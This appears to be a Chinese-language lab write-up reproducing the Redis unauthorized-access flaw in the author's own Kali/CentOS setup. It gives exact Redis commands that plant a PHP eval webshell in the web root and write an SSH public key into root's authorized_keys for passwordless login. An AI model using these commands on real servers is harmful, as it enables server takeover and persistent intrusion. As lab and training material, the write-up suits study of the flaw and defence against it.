什么是redis
redis就是个数据库,跟mysql不同的地方在于redis主要将数据存在内存中,读写速度非常快
redis未授权
其原因很简单,就是redis服务器在默认安装好不配置的情况下可以直接免密码登录,登录后在web目录写入一句话木马,或者写入ssh公钥,实现免密码登录ssh
环境搭建
-
使用kali自带的redis,但有一点需要注意:kali中的redis默认开启了保护,需要关闭
vim /etc/redis/redis.conf
,进入配置文件将
protected-mode
设置成no
-
win11做攻击机,专门实现ssh免密码登录
复现步骤
redis免密登录写一句话木马
-
开启redis服务
测试一下,成功免密登录
-
在网站根路径写入一句话木马
1、set dir /var/www/html 设置写入路径 2、set dbfilename 1.php 设置写入文件名 3、set 'webshell' '<?php @eval($_POST[666])?>' 写入内容 4、save 保存
kali自带的redis有bug,命令输入显示ok但实际不生效,建议在centos中安装
centos安装redis步骤
1、wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo 下载yum源 2、yum install -y http://rpms.famillecollet.com/enterprise/remi-release-7.rpm 丰富yum源软件包 3、yum -y install redis* 安装redis
通过redis漏洞写入ssh公钥实现免密登录
-
开启kali中ssh服务
systemctl start sshd
-
在win11安装Git用于伪造公私钥
安装好后右键选择git bash here
进入bash解释器
-
输入
ssh-keygen -t rsa
,指定算法,在当前用户家目录下生成密钥
-
将生成的公钥复制,通过redis写入kali的
.ssh
文件中,即可实现免密登录
写入步骤
1、set dir /root/.ssh/ 2、set dbfilename authorized_keys 文件名不能错 3、set margin "公钥" 4、save
尝试登录,成功免密登录